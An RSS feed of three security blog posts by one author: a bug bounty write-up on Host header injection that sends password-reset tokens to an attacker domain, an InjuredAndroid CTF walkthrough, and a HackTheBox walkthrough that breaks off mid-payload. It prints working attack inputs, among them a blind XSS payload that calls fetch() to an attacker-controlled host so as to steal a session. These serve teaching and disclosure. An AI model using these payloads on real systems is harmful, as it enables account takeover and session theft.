<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdulrhman   on Medium]]></title>
        <description><![CDATA[Stories by Abdulrhman   on Medium]]></description>
        <link>https://medium.com/@3bdulr7man?source=rss-218651086927------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Abdulrhman   on Medium</title>
            <link>https://medium.com/@3bdulr7man?source=rss-218651086927------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 21:32:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@3bdulr7man/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[1-Click Account Takeover via Host Header Injection]]></title>
            <link>https://3bdulr7man.medium.com/1-click-account-takeover-via-host-header-injection-a5774993f24a?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5774993f24a</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 13:55:47 GMT</pubDate>
            <atom:updated>2025-10-10T13:55:47.694Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*irpo3bRzeUzk23Dr569u9g.png" /></figure><p><strong>TL;DR:</strong> I discovered a Host header injection in the “Forgot password” flow that lets an attacker force the application to generate password-reset links pointing at an attacker-controlled domain. A single click from a victim (user or admin) delivers the reset token to the attacker, who can then complete the reset and take over the account — and if the victim is an admin, the entire company tenant.</p><h3>What happened (short)</h3><p>By tampering with the HTTP Host header when triggering the “forgot password” flow, I caused the application to build the reset URL using my attacker-controlled host. The app emailed (or returned) a link that contained a legitimate reset token but pointed to my server. When the victim clicked the link, the token arrived at my server and I used it to reset their password and login.</p><p>This was effectively a <strong>one-click Account Takeover (ATO)</strong> — bypassing filters and using Host header manipulation to exfiltrate the reset token.</p><h3>Technical details</h3><p>The vulnerable flow uses the request Host header to construct the full password-reset URL. That header is attacker-controllable in many clients and proxy tools (Burp, curl, custom scripts). Instead of using a configured canonical domain for public links, the app trusts and echoes the Host header into an externally-visible URL.</p><h3>Technical details</h3><p>I initially tried straightforward Host header injections (using plain Host: attacker.com) but the application rejected or normalized them and the attack failed. While experimenting with other variations I noticed the app accepted <strong>subdomains</strong> of the target (for example sub.target.com). That gave me an idea: if the server accepts a subdomain under an attacker-controlled domain, I could craft the Host so the remainder of the original target appears to the server as part of the URL path/query.</p><p>Concretely, by using an attacker-controlled collaborator domain as the Host and appending the target as a path-like fragment (for example attacker.com?target.com), the application still generated the reset link but pointed it at my attacker domain while preserving the legitimate reset token as a query parameter. The victim clicking that link would send the token to my server.</p><h3>Proof of Concept</h3><ol><li>Create a victim account (or use one you legitimately control).</li><li>Submit a forgot-password request while changing the HTTP Host header to an attacker-controlled domain that includes the target as a path-like suffix. Example Host header used in testing:</li></ol><pre>Host: fl4yotnepj2yj7czkqmzxbbqbhh85ytn.oastify.com?target.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*1LPIhbnirkDS7nJlUwvN1w.png" /><figcaption>Host Header Injection</figcaption></figure><p>3. Observe the reset link generated by the application. It points to the attacker-controlled host and contains a valid reset token as a query parameter. Example observed URL:</p><pre>https://fl4yotnepj2yj7czkqmzxbbqbhh85ytn.oastify.com/?.target.com/auth/reset-password?username=victim%40example.com&amp;token=1758028965_efba0176fe1cc31615ddd7969e728a26bb843aca</pre><p>4. When the victim clicks that link, the attacker receives the token on their server, then uses it to complete the password reset flow and log in as the victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*takDoe10KBa0cnfwvNUedw.png" /><figcaption>Receive the Reset Token</figcaption></figure><h3>Impact</h3><ul><li><strong>Account Takeover (ATO)</strong> — attacker can set a new password and log in as the victim.</li><li><strong>Company Takeover</strong> — if the victim is an admin, attacker gains administrative control over users, settings, billing, and sensitive data.</li><li><strong>Data exfiltration &amp; service abuse</strong> — access to internal data and operations.</li><li><strong>Reputation damage &amp; compliance risk</strong> — especially sensitive for enterprise tenants and regulated industries.</li></ul><h3>Why this is happening</h3><p>The root cause: the application uses the incoming Host header to assemble publicly-accessible links. The Host header is untrusted user input and may be modified by attackers or by intermediate proxies. Building security-sensitive URLs from it is unsafe.</p><p>Additionally, the application failed to validate or normalize Host header values and did not enforce a canonical base URL when generating password-reset emails/links.</p><h3>Recommendations (fixes)</h3><ol><li><strong>Never</strong> use the raw request Host header to generate public links. Instead, use a configured canonical hostname (application configuration) or a server-side environment variable that defines the public base URL.</li><li><strong>Validate</strong> Host header values if they must be used: allow-list only known, expected hostnames and reject or normalize everything else.</li><li><strong>Canonicalize</strong>: normalize and enforce a scheme + hostname from configuration (e.g., https://accounts.example.com) when building links.</li><li><strong>Monitoring / Alerting</strong>: log and alert on password-reset requests that contain suspicious Host header values, or a spike of reset requests for the same account.</li><li><strong>Defense in depth</strong>: consider sending additional notifications to account owner’s email when a reset occurs (including a link to report if they did not request it).</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5774993f24a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[injuredandroid]]></title>
            <link>https://3bdulr7man.medium.com/injuredandroid-12d269b866ff?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/12d269b866ff</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Wed, 04 Sep 2024 17:41:04 GMT</pubDate>
            <atom:updated>2024-09-04T17:52:06.350Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my first time to test on Android applications and in this walkthrough I will discuss how I was able to solve most of the challenges and also to introduce my methodology.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iaAisCvMWomT7WiLVyS0Ow.jpeg" /></figure><blockquote>What is injuredandroid?</blockquote><p>A vulnerable Android application with CTF examples based on bug bounty findings, exploitation concepts, and pure creativity.</p><p><a href="https://github.com/B3nac/InjuredAndroid">GitHub - B3nac/InjuredAndroid: A vulnerable Android application that shows simple examples of vulnerabilities in a ctf style.</a></p><h3>Basic Recon</h3><p>In the beginning, I liked to install the app and use it as a usual user to identify its functions and features, but this one is a type of challenge that gave me an idea about what challenges and its activities I would face.</p><h3>Static Analysis</h3><p>There are many tools that can perform this task for us, but I prefer the manual approach.</p><p>Let’s decompile the apk using jadx-gui.</p><p>After decompiling the apk, I like to check two interesting files AndroidManifest.xml and strings.xml.</p><blockquote>The Android Manifest is an XML file which contains important metadata about the Android app. This includes the package name, activity names, main activity (the entry point to the app), Android version support, hardware features support, permissions, and other configurations.</blockquote><blockquote>Strings file contains all the strings which can be used frequently in the application.</blockquote><p>Starting with AndroidManifest.xml file, I search for exported components that may reveal sensitive information, bypass any restrictions or do any interesting action.</p><p>In strings.xml file, I search for API keys, hardcoded credentials and firebase information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcWUBDQEdkOYapW0UfLMWg.png" /><figcaption>Google API keys</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n8_S-sBvF5dtwMAsWx2gZA.png" /><figcaption>Firebase Database URL</figcaption></figure><h3>Dynamic Analysis</h3><p>In this phase, I focus on the components that took my attention in static analysis phase, I also focus on Root detection mechanisms and SSL pinning checks.</p><p>I also run adb logcat while analyzing all the components and its related vulnerabilities.</p><p>In static analysis phase, I got three interesting exported activities.</p><h4>First Finding</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y61j2Gu3FdsIcL7tps-5Uw.png" /><figcaption>First Finding</figcaption></figure><p>Let’s use adb to see what it is hiding.</p><pre>adb shell am start-activity -n b3nac.injuredandroid/.b25lActivity</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*GzHHyshP88YGiqv1HymRJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*lGR7HZCC-yPg4x55kQvwxQ.png" /><figcaption>Result of the first finding</figcaption></figure><h4>Second Finding</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pBthAfdl7cgz5-KyzJLw8w.png" /><figcaption>Second Finding</figcaption></figure><p>Using adb command again.</p><pre>am start -n b3nac.injuredandroid/.QXV0aA</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*hbNAoQ2z2lWLuLVpg7fbhA.png" /></figure><p>All what I got is empty page with login button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*2QhQ3qkcqzmRIzE0Z1m59w.png" /><figcaption>Result of the second finding</figcaption></figure><p>Click on Login button, I just got Authentication succeededin a Toast message.</p><h4>Third Finding</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R_1H-FgAjg0sRiQQ-naeWg.png" /><figcaption>Third Finding</figcaption></figure><p>By doing further investigation, I found this activity uses intents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UYcq2VtIE2A6XwISoRM1lQ.png" /></figure><p>Let’s enter this activity using adb command.</p><pre>am start -n b3nac.injuredandroid/.TestBroadcastReciever -a com.b3nac.injuredandroid.intent.action.CUSTOM_INTENT --es &quot;url&quot; &quot;Hi&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*UAjkKgZVtmvdtIyk55S3dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*Ap44KFOwxZclSp1EQ9k0Eg.png" /><figcaption>Result of the third finding</figcaption></figure><p>After I finished testing of the interesting activities, I decided to start testing the application’s functionality and features (Challenges).</p><h4>XSSText</h4><p>Before analyzing the challenge code, I like first to open it to have a clue about the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*yuVVvsG1ZqPovRky1RGJ5Q.png" /></figure><p>As I expected, I just found a user input. So let’s analyze the code.</p><blockquote>Search for b3nac.injuredandroid.XSSTextActivity in AndroidManifest.xml file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ey7rw6SVWiGwbE2y-TJ7aw.png" /><figcaption><em>b3nac.injuredandroid.XSSTextActivity</em></figcaption></figure><p>This activity has a simple code that takes user input as Intent to com.b3nac.injuredandroid.DisplayPostXSS then it starts the DisplayPostXSS activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i6_8spAjBUDTBBff6tI0-w.png" /><figcaption>com.b3nac.injuredandroid.DisplayPostXSS</figcaption></figure><p>The passed user input is loaded in a webView. The problem is with settings.setJavascriptEnabled(true); which allows the attackers to execute JavaScript code.</p><p>Let’s inject XSS payload as there’s no any restrictions of the passed user input.</p><p>I’ve injected a basic XSS payload: &lt;img src=1 onerror=alert(&quot;Hacked&quot;)&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*3vVIY6gSiSgTGw9gmXUHyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*lcXCp9WM6awlZ6x3ijXzng.png" /></figure><h4>Login</h4><p>let’s do the same as we did in the last challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*ZY7G4dFsrixzqqZdLYfyPQ.png" /></figure><p>It’s just a flag input field. Let’s review the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KP_5vSaY6W1hT7VA5yZiAg.png" /></figure><p>It just checks if the entered flag is equal to F1ag_0n3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*Z7cgJYPdVY9D5inFJS_31w.png" /></figure><h4>Resources</h4><p>From the challenge name, It reveals that it’s related to res directory or resources.arsc directory.</p><p>Searching in strings.xml, we got flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKfU6IEeHLXgyElEWUN2lA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*td8-38b-m_SNeumWKCmZKA.png" /></figure><h4>Login2</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*Aq9Sem_MWiFRjdwoe6EpFQ.png" /></figure><p>Just flag input as the last one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r8O4JDBPXBf1y4V1rectxQ.png" /></figure><p>It takes the user input and compare it with the decoded value from g().a()</p><p>Let’s review g() class.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*dGJqL2F54NxZDopxBYodwQ.png" /></figure><p>Here we got the base64 encoded flag, so let’s decode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Q8j1_Ll6s2noe45ic4foPA.png" /></figure><p>Let’s submit the flag 4_overdone_omelets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*td8-38b-m_SNeumWKCmZKA.png" /></figure><h4>Login3</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*qKCAt4HrdJolb_rImC6iqA.png" /></figure><p>Just flag input as other login challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YqPPexs2LfDSahbbqy0mYA.png" /></figure><p>It take the user input and compare with k.a(strangeValue), I thought it’s base64 encoded but it’s not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BRL6oCfbJd28t8miLhpxwA.png" /></figure><p>Reviewing the method’s code, the strange value is DES encryption of the flag.</p><p>Here, I decided to use frida to get flag.</p><p>I used frida as the comparing function do, by decrypting the strange value.</p><pre>Java.perform(function () {<br>    let k = Java.use(&quot;b3nac.injuredandroid.k&quot;);<br>    let decryptedValue = k.a(&quot;k3FElEG9lnoWbOateGhj5pX6QsXRNJKh///8Jxi8KXW7iDpk2xRxhQ==&quot;);<br>    console.log(&quot;Flag: &quot; + decryptedValue);<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*pmdDHrUtgO_-9g8ZqLfY7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*eeSdPYqoxgUsy7DVlkqScQ.png" /></figure><h4>SQLite</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*dwSAHuStsq2RQLg4mDYBsQ.png" /></figure><p>Let’s open the code after we had an overview.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*r121Q7RhN4fhyGFSvWQTnw.png" /></figure><p>It takes the entered flag and compare it with encrypted flag and compared the entered password with encrypted password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jbAXAwIhIAsgkpARdhIYmQ.png" /></figure><p>When decoding the first subtitle value, we got a hash.</p><p>Let’s break the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Anjrm8V1WnwV7I7Hpq5zHA.png" /></figure><p>So the password is hunter2. Let’s move forward to the other subtitle value which is a return value of function h.c().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P3qk5Zcf5STsHNmUj2BmOg.png" /></figure><p>We got another strange value, but it seems that it’s roted.</p><p>Trying multiple roting amounts, we got that it’s using ROT47.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GrW-WyPRebsCU-IyACB8gw.png" /></figure><p>Open the link, we got the flag S3V3N_11.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*ROVanijJw0kCMW5ZRwrUDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*5CcdbIF9aK3n39tb7V8QIQ.png" /></figure><h4>AWS</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*mk27oj0eaaYnuW7qT53PVw.png" /></figure><p>As most of the challenges, just flag submit.</p><p>From the challenge name, It’s related to AWS and cloud. So I decided to search again for any keys and tokens in strings.xml file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*4ArXXDaxShDLFcGkSyNcrg.png" /></figure><p>It has no values and reviewing the does not give us much information.</p><p>After searching for a while, I got that the used bucket is open because there’s no provided values in AWS tags in strings.xml file.</p><p>Here, I used cloud_enum tool to enumerate the public cloud resources.</p><p><a href="https://github.com/initstring/cloud_enum">GitHub - initstring/cloud_enum: Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.</a></p><p>By using the keyword of the application name to reveal any cloud resources related to it.</p><pre>python3 cloud_enum.py -k injuredandroid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*b-OlHwvZaXqPKAA3UZ4niQ.png" /></figure><p>As expected, there’s open S3 bucket revealing two files, The flag exists in C10ud_S3cur1ty_lol file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*2NbDYxr78Wa5FA1UbhouaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*FymyQx6x4pjWIH-kwPXIsA.png" /></figure><h4>Firebase</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*aGlCAPy7eJyr56IJ5nKuuw.png" /></figure><p>Let’s review the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*9bc93aMqa9GzCtbAArmu0g.png" /></figure><p>The app first decodes the user input before comparing it with the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k9vjNPd2a33tOZFksbMztQ.png" /></figure><p>The source code reveals a lot of information.</p><p>Let’s start with the encoded value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*plw2ciwwZT1onXddzevGlw.png" /></figure><p>The decoded value seems to be an endpoint. We got another hint related to using .json with firebase url found in strings.xml file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nb1aYKUkQd4sqOz8Qk1b8w.png" /></figure><p>So we will append the .json to flags/.</p><pre>https://injuredandroid.firebaseio.com/flags/.json</pre><p>When browsing the link, we got the flag. But we should first base64 encode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*rNdXvU2pM2gCvStXNdKEKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*3DJEXGHRfhWpqHvjC4Whkw.png" /></figure><h4>Unicode</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*rzSjE21bGUAhdfg8E3u7mw.png" /></figure><p>Just flag submition input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bE3y0EqD68MSIn7V6AFKPA.png" /></figure><p>Like the last challenge, the source code reveals a lot of information.</p><p>Let’s start with the encoded value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l41d9alOcge1LuIDnbiLKA.png" /></figure><p>It seems to be also an endpoint, but we got another hints like Find an email address and unicode collision.</p><p>I google unicode collision and I got this article.</p><p><a href="https://dev.to/jagracey/hacking-github-s-auth-with-unicode-s-turkish-dotless-i-460n">Hacking GitHub&#39;s Auth with Unicode&#39;s Turkish Dotless &#39;I&#39;</a></p><p>Using the other hint about finding an email address, I used the article’s example John@Gıthub.com as an input. But I got Not Authenticated!.</p><p>After some time, I remmebered our Second Finding that we can use to get authenticated.</p><p>When I got authenticated and submit the email address again, I got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*l-1BbK5kD9ZUf7e-iX6HWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*aRXFS69Av-leI7GZtCy-6A.png" /></figure><h4>Deep Links</h4><p>When I click on the challenge, I just got hints like Eploit The Schema, Check The Manifest.</p><blockquote>Deep links are specific URLs that, when triggered, can launch a particular activity within an app.</blockquote><p>Let’s review AndroidManifest.xml file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xGcFHpGSeAFAOUhsHv7qRg.png" /></figure><p>Using flag11 as schema caught my attention as the first hint is Eploit The Schema.</p><p>Let’s do further investigations of the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3NsYpeTTq0oKjCdl8K4ppQ.png" /></figure><p>It seems it’s waiting for schema flag11 and action android.intent.action.VIEW to start the activity.</p><p>Let’s exploit the schema using adb command.</p><pre>am start -a android.intent.action.VIEW -d &quot;flag11://&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*AJ6GwT-szu9iVyWBz1HSSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*rAfQk9XlCLcR2LBj0GlUBA.png" /></figure><p>I was able to bypass the restrictions and start the activity. But we didn’t get the flag.</p><p>Let’s get back to the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rp_YHUXpIQn321p85Z7eeg.png" /></figure><p>We got another hints, we should look for binary file in the app. We need first to decompile the app.</p><pre>apktool -d injuredandroid.apk</pre><p>Then look for the binary in assets or lib directories.</p><p>In assets directory, we can find me&#39;nu file and It’s binary executable file.</p><p>When executing the file, We got the flag HIIMASTRING.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*c47hVq5L_WmKsM_ylxJKiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*_bge3cMNcHh5Eu6VGCPOZQ.png" /></figure><h4>Protected Components</h4><p>When I click to open the challenge, I got Use an exported activity as Toast message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhnwlJQvQZGcJoI2QXXBEg.png" /></figure><p>The activity look for totally_secure intent and its value shoud be a URL with https schema.</p><p>When I tried to start the activity using adb command, I found the activity is not exported.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*XzPCO6Pz_Qdz6pYg4cqH5Q.png" /></figure><p>So let’s follow the hint and look for an exported activity to start it.</p><blockquote>At the beginning, I thought any exported activity can start it, but after spending some time I realized that is not true and there’s only one activity that exists in AndroidManifest.xml file can do this.</blockquote><p>After some searching, I found an exported activity that is able to start other activities b3nac.injuredandroid.ExportedProtectedIntent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*Bidwi2q9eiId5HFFvDwNAA.png" /></figure><p>Let’s reveal its code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ruM6Nqv6NoJ3aKpo9iDadA.png" /></figure><p>It uses access_protected_component as an intent that accepts the package name of the wanted protected activity as a value and It only starts packages within the app by checking the package name.</p><p>I tried to use adb to perform this task, but it was a little bit complicated so let’s build an app the help us perform this task and get the flag.</p><pre>package com.hacking.injuredandroidaccess<br><br>import android.content.Intent<br>import android.os.Bundle<br>import androidx.activity.enableEdgeToEdge<br>import androidx.appcompat.app.AppCompatActivity<br>import androidx.core.view.ViewCompat<br>import androidx.core.view.WindowInsetsCompat<br><br>class MainActivity : AppCompatActivity() {<br>    override fun onCreate(savedInstanceState: Bundle?) {<br>        super.onCreate(savedInstanceState)<br>        enableEdgeToEdge()<br>        setContentView(R.layout.activity_main)<br>        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main)) { v, insets -&gt;<br>            val systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars())<br>            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom)<br>            insets<br>        }<br><br>        val intentToProtectedActivity = Intent().apply {<br>            setClassName(&quot;b3nac.injuredandroid&quot;, &quot;b3nac.injuredandroid.FlagTwelveProtectedActivity&quot;)<br>            putExtra(&quot;totally_secure&quot;, &quot;https://example.com/&quot;)<br>        }<br><br>        val triggeringIntent = Intent().apply {<br>            setClassName(&quot;b3nac.injuredandroid&quot;, &quot;b3nac.injuredandroid.ExportedProtectedIntent&quot;)<br>            putExtra(&quot;access_protected_component&quot;, intentToProtectedActivity)<br>        }<br><br>        startActivity(triggeringIntent)<br>    }<br>}</pre><p>When I run this build app, I got redirected to protected activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*nNRJlmEHnuosrOnyR4mklg.png" /></figure><h4>Assembly</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*jixcPRSRGGtvC4maeOAS_Q.png" /></figure><p>I got flag input and byte array [58,40,42] when I open challenge.</p><p>When I decoded it, I just got :(*</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qbFb_ua-BLl244Oi_ODDw.png" /></figure><p>Let’s review the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ebzT4AH-9ISOe0RjNwFpbA.png" /></figure><p>The app is using an exported function from a library and the value of this.z are the byte array that are viewed in the challenge.</p><p>So let’s dig deep in the code to get from where this.z get those value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*Hd-Y1OA9x9fOpc-EKM3-bg.png" /></figure><p>The exported function is from libnative-lib.so library and the value of this.z are the return values of the exported function.</p><p>Let’s reverse the function to have an overview of its workflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*R9fa5V2goi-0-Gu-tt8CAw.png" /></figure><p>I got win string and I guess it’s the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*PeUlX6HmArwyREf-QwTT3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*NDtJX-j2YMb5y63tlG8oVw.png" /></figure><p>In this walkthrough, we successfully exploited the vulnerabilities within the InjuredAndroid application.</p><blockquote>Some of the challenges did not work with me.</blockquote><p>If there’s any mistakes, please DM me. I’m waiting for your feedbacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12d269b866ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | IClean Walkthrough]]></title>
            <link>https://3bdulr7man.medium.com/hackthebox-iclean-walkthrough-e31d45bfafed?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/e31d45bfafed</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Mon, 01 Jul 2024 10:37:38 GMT</pubDate>
            <atom:updated>2024-07-01T10:37:38.886Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Folks, back again with a new HTB machine walkthrough.</p><p>Hope you are doing well ❤️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*_qZg6HbXsVN6KTUJUMgEeA.png" /></figure><p>let’s get started with enumeration.</p><h3>Enumeration</h3><h4>Nmap Scan</h4><pre>nmap -T4 -v -p- -sCV &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*xppnwMpaedMysIFE4lQKJQ.png" /><figcaption>nmap scan</figcaption></figure><p>We got two open ports: port 22 running a SSH, port 80 running HTTP.</p><h4>Web Enumeration</h4><p>We got redirected to capiclean.htb, so we first have to add the domain name to the hosts file.</p><pre>echo &quot;&lt;target_ip&gt;  capiclean.htb&quot; &gt;&gt; /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ygzCiqUOGTS7oRkkiszng.png" /><figcaption>web interface</figcaption></figure><p>Here, I like to run direarch to fuzz directories as well as doing manual enumeration.</p><pre>dirsearch -u http://capiclean.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*BZgrqe68bZKAcFmNa0ZCPA.png" /><figcaption>dirsearch report</figcaption></figure><p>We got few endpoints, but the interesting one dashboard needs authentication, so here I decided to test /login endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h7xYpj3id5Xlu7Po7OnO7g.png" /><figcaption>/login endpoint</figcaption></figure><p>I checked if there is SQL injection in the username or the password input fields but there was no vulnerability there so I moved on to the /team page as it may have some interesting information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ia8rZB_Fadn6Prxyvvtkcw.png" /><figcaption>/team endpoint</figcaption></figure><p>Here I just got team names, so I saved as it may help in the future.</p><p>I moved forward to /quote endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVuKdmbOfsCZ747qXh1kzA.png" /><figcaption>/quote endpoint</figcaption></figure><p>I started to play with it and after some time I thought of Blind XSS that can help us to obtain a session to access the dashboard.</p><p>Let’s try it.</p><p>After some time of trial and error, it worked with</p><pre>&lt;img src=1 onerror=fetch(&quot;http://&lt;your_ip&gt;:&lt;port&gt;/&quot;);&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MHw-SYsl4v6CcxlPn3dKgA.png" /><figcaption>executing xss</figcaption></figure><p>As it worked, let’s modify the payload to get the session.</p><pre>&lt;img src=1 